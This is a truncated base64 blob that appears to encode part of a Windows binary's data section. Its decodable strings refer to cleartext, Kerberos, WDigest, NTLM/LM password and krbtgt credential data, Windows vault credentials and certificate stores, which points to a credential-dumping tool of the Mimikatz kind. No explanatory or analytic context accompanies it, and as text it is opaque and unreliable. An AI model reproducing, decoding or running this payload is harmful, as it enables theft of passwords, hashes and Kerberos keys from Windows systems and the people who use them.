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IAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAATABhAHMAdABXAHIAaQB0AHQAZQBuACAAIAAgACAAOgAgAAAAAAAKAAAAJQAqAHMAIAAgAHUAbgBrAEYAbABhAGcAcwBPAHIAUwBpAHoAZQAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAFAAZQByAHMAaQBzAHQAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAEEAdAB0AHIAaQBiAHUAdABlAEMAbwB1AG4AdAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAHUAbgBrADAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAHUAbgBrADEAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAVABhAHIAZwBlAHQATgBhAG0AZQAgACAAIAAgACAAOgAgACUAcwAKAAAAJQAqAHMAIAAgAFQAYQByAGcAZQB0AEEAbABpAGEAcwAgACAAIAAgADoAIAAlAHMACgAAACUAKgBzACAAIABDAG8AbQBtAGUAbgB0ACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAlACoAcwAgACAAVQBuAGsARABhAHQAYQAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAJQAqAHMAIAAgAFUAcwBlAHIATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAACUAKgBzACAAIABDAHIAZQBkAGUAbgB0AGkAYQBsAEIAbABvAGIAIAA6ACAAAAAAACUAdwBaAAAAJQAqAHMAIAAgAEEAdAB0AHIAaQBiAHUAdABlAHMAIAAgACAAIAAgADoAIAAAAAAAJQB1ACAAYQB0AHQAcgBpAGIAdQB0AGUAcwAoAHMAKQAKAAAAJQAqAHMAKgAqAEEAVABUAFIASQBCAFUAVABFACoAKgAKAAAAJQAqAHMAIAAgAEYAbABhAGcAcwAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABLAGUAeQB3AG8AcgBkACAAOgAgACUAcwAKAAAAAAAlACoAcwAgACAAVgBhAGwAdQBlACAAOgAgAAAAJQAqAHMAKgAqAFYAQQBVAEwAVAAgAFAATwBMAEkAQwBZACoAKgAKAAAAAAAlACoAcwAgACAAdgBlAHIAcwBpAG8AbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHYAYQB1AGwAdAAgACAAIAA6ACAAAAAlACoAcwAgACAATgBhAG0AZQAgACAAIAAgADoAIAAlAHMACgAAAAAAJQAqAHMAIAAgAHUAbgBrADAALwAxAC8AMgA6ACAAJQAwADgAeAAvACUAMAA4AHgALwAlADAAOAB4AAoAAAAAACUAKgBzACoAKgBWAEEAVQBMAFQAIABQAE8ATABJAEMAWQAgAEsARQBZACoAKgAKAAAAAAAlACoAcwAgACAAdQBuAGsAMAAgACAAOgAgAAAAJQAqAHMAIAAgAHUAbgBrADEAIAAgADoAIAAAACUAKgBzACoAKgBWAEEAVQBMAFQAIABDAFIARQBEAEUATgBUAEkAQQBMACoAKgAKAAAAAAAlACoAcwAgACAAUwBjAGgAZQBtAGEASQBkACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIAB1AG4AawAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAATABhAHMAdABXAHIAaQB0AHQAZQBuACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAlACoAcwAgACAAdQBuAGsAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB1AG4AawAyACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAARgByAGkAZQBuAGQAbAB5AE4AYQBtAGUAIAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAAAAAACUAKgBzACAAIABkAHcAQQB0AHQAcgBpAGIAdQB0AGUAcwBNAGEAcABTAGkAegBlACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAJQAqAHMAIAAgACoAIABBAHQAdAByAGkAYgB1AHQAZQAgACUAMwB1ACAAQAAgAG8AZgBmAHMAZQB0ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAgACgAdQBuAGsAIAAlADAAOAB4ACAALQAgACUAdQApAAoAAAAAAAAAJQAqAHMAKgAqAFYAQQBVAEwAVAAgAEMAUgBFAEQARQBOAFQASQBBAEwAIABBAFQAVABSAEkAQgBVAFQARQAqACoACgAAAAAAJQAqAHMAIAAgAGkAZAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABJAFYAIAAgACAAIAAgACAAOgAgAAAAJQAqAHMAIAAgAEQAYQB0AGEAIAAgACAAIAA6ACAAAAAAAAAAJQAqAHMAKgAqAFYAQQBVAEwAVAAgAEMAUgBFAEQARQBOAFQASQBBAEwAIABDAEwARQBBAFIAIABBAFQAVABSAEkAQgBVAFQARQBTACoAKgAKAAAAJQAqAHMAIAAgAHYAZQByAHMAaQBvAG4AOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABjAG8AdQBuAHQAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAdQBuAGsAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgACoAIAAAAHIAZQBzAHMAbwB1AHIAYwBlACAAIAAgACAAIAA6ACAAAAAAAGkAZABlAG4AdABpAHQAeQAgACAAIAAgACAAIAA6ACAAAAAAAGEAdQB0AGgAZQBuAHQAaQBjAGEAdABvAHIAIAA6ACAAAAAAAHAAcgBvAHAAZQByAHQAeQAgACUAMwB1ACAAIAA6ACAAAAAAACUAcwAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAF8ARwBSAE8AVQBQAF8AUABPAEwASQBDAFkAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8ATABPAEMAQQBMAF8ATQBBAEMASABJAE4ARQBfAEcAUgBPAFUAUABfAFAATwBMAEkAQwBZAAAAAAAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8ATABPAEMAQQBMAF8ATQBBAEMASABJAE4ARQBfAEUATgBUAEUAUgBQAFIASQBTAEUAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEMAVQBSAFIARQBOAFQAXwBTAEUAUgBWAEkAQwBFAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AVQBTAEUAUgBTAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AUwBFAFIAVgBJAEMARQBTAAAAAABNAFMAXwBEAEUARgBfAFAAUgBPAFYAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAgAHYAMQAuADAAAAAAAE0AUwBfAEUATgBIAEEATgBDAEUARABfAFAAUgBPAFYAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAB2ADEALgAwAAAAAABNAFMAXwBTAFQAUgBPAE4ARwBfAFAAUgBPAFYAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwB0AHIAbwBuAGcAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8ARABFAEYAXwBSAFMAQQBfAFMASQBHAF8AUABSAE8AVgAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUgBTAEEAIABTAGkAZwBuAGEAdAB1AHIAZQAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAEQARQBGAF8AUgBTAEEAXwBTAEMASABBAE4ATgBFAEwAXwBQAFIATwBWAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABSAFMAQQAgAFMAQwBoAGEAbgBuAGUAbAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBEAEUARgBfAEQAUwBTAF8AUABSAE8AVgAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABEAFMAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBEAEUARgBfAEQAUwBTAF8ARABIAF8AUABSAE8AVgAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAQgBhAHMAZQAgAEQAUwBTACAAYQBuAGQAIABEAGkAZgBmAGkAZQAtAEgAZQBsAGwAbQBhAG4AIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAABNAFMAXwBFAE4ASABfAEQAUwBTAF8ARABIAF8AUABSAE8AVgAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAEQARQBGAF8ARABIAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEQASAAgAFMAQwBoAGEAbgBuAGUAbAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAFMAQwBBAFIARABfAFAAUgBPAFYAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABTAG0AYQByAHQAIABDAGEAcgBkACAAQwByAHkAcAB0AG8AIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBFAE4ASABfAFIAUwBBAF8AQQBFAFMAXwBQAFIATwBWAF8AWABQAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByACAAKABQAHIAbwB0AG8AdAB5AHAAZQApAAAATQBTAF8ARQBOAEgAXwBSAFMAQQBfAEEARQBTAF8AUABSAE8AVgAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAFIAUwBBACAAYQBuAGQAIABBAEUAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAABQAFIATwBWAF8AUgBTAEEAXwBGAFUATABMAAAAUABSAE8AVgBfAFIAUwBBAF8AUwBJAEcAAAAAAFAAUgBPAFYAXwBEAFMAUwAAAAAAUABSAE8AVgBfAEYATwBSAFQARQBaAFoAQQAAAFAAUgBPAFYAXwBNAFMAXwBFAFgAQwBIAEEATgBHAEUAAAAAAFAAUgBPAFYAXwBTAFMATAAAAAAAUABSAE8AVgBfAFIAUwBBAF8AUwBDAEgAQQBOAE4ARQBMAAAAUABSAE8AVgBfAEQAUwBTAF8ARABIAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBEAFMAQQBfAFMASQBHAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBOAFIAQQBfAFMASQBHAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBEAFMAQQBfAEYAVQBMAEwAAAAAAFAAUgBPAFYAXwBFAEMAXwBFAEMATgBSAEEAXwBGAFUATABMAAAAAABQAFIATwBWAF8ARABIAF8AUwBDAEgAQQBOAE4ARQBMAAAAAABQAFIATwBWAF8AUwBQAFkAUgBVAFMAXwBMAFkATgBLAFMAAABQAFIATwBWAF8AUgBOAEcAAAAAAFAAUgBPAFYAXwBJAE4AVABFAEwAXwBTAEUAQwAAAAAAUABSAE8AVgBfAFIARQBQAEwAQQBDAEUAXwBPAFcARgAAAAAAUABSAE8AVgBfAFIAUwBBAF8AQQBFAFMAAAAAAEMAQQBMAEcAXwBNAEQAMgAAAAAAQwBBAEwARwBfAE0ARAA0AAAAAABDAEEATABHAF8ATQBEADUAAAAAAEMAQQBMAEcAXwBTAEgAQQAxAAAAQwBBAEwARwBfAE0AQQBDAAAAAABDAEEATABHAF8AUgBTAEEAXwBTAEkARwBOAAAAQwBBAEwARwBfAEQAUwBTAF8AUwBJAEcATgAAAEMAQQBMAEcAXwBOAE8AXwBTAEkARwBOAAAAAABDAEEATABHAF8AUgBTAEEAXwBLAEUAWQBYAAAAQwBBAEwARwBfAEQARQBTAAAAAABDAEEATABHAF8AMwBEAEUAUwBfADEAMQAyAAAAQwBBAEwARwBfADMARABFAFMAAABDAEEATABHAF8ARABFAFMAWAAAAEMAQQBMAEcAXwBSAEMAMgAAAAAAQwBBAEwARwBfAFIAQwA0AAAAAABDAEEATABHAF8AUwBFAEEATAAAAEMAQQBMAEcAXwBEAEgAXwBTAEYAAAAAAEMAQQBMAEcAXwBEAEgAXwBFAFAASABFAE0AAABDAEEATABHAF8AQQBHAFIARQBFAEQASwBFAFkAXwBBAE4AWQAAAAAAQwBBAEwARwBfAEsARQBBAF8ASwBFAFkAWAAAAEMAQQBMAEcAXwBIAFUARwBIAEUAUwBfAE0ARAA1AAAAQwBBAEwARwBfAFMASwBJAFAASgBBAEMASwAAAEMAQQBMAEcAXwBUAEUASwAAAAAAQwBBAEwARwBfAEMAWQBMAEkATgBLAF8ATQBFAEsAAABDAEEATABHAF8AUwBTAEwAMwBfAFMASABBAE0ARAA1AAAAAABDAEEATABHAF8AUwBTAEwAMwBfAE0AQQBTAFQARQBSAAAAAABDAEEATABHAF8AUwBDAEgAQQBOAE4ARQBMAF8ATQBBAFMAVABFAFIAXwBIAEEAUwBIAAAAQwBBAEwARwBfAFMAQwBIAEEATgBOAEUATABfAE0AQQBDAF8ASwBFAFkAAABDAEEATABHAF8AUwBDAEgAQQBOAE4ARQBMAF8ARQBOAEMAXwBLAEUAWQAAAEMAQQBMAEcAXwBQAEMAVAAxAF8ATQBBAFMAVABFAFIAAAAAAEMAQQBMAEcAXwBTAFMATAAyAF8ATQBBAFMAVABFAFIAAAAAAEMAQQBMAEcAXwBUAEwAUwAxAF8ATQBBAFMAVABFAFIAAAAAAEMAQQBMAEcAXwBSAEMANQAAAAAAQwBBAEwARwBfAEgATQBBAEMAAABDAEEATABHAF8AVABMAFMAMQBQAFIARgAAAAAAQwBBAEwARwBfAEgAQQBTAEgAXwBSAEUAUABMAEEAQwBFA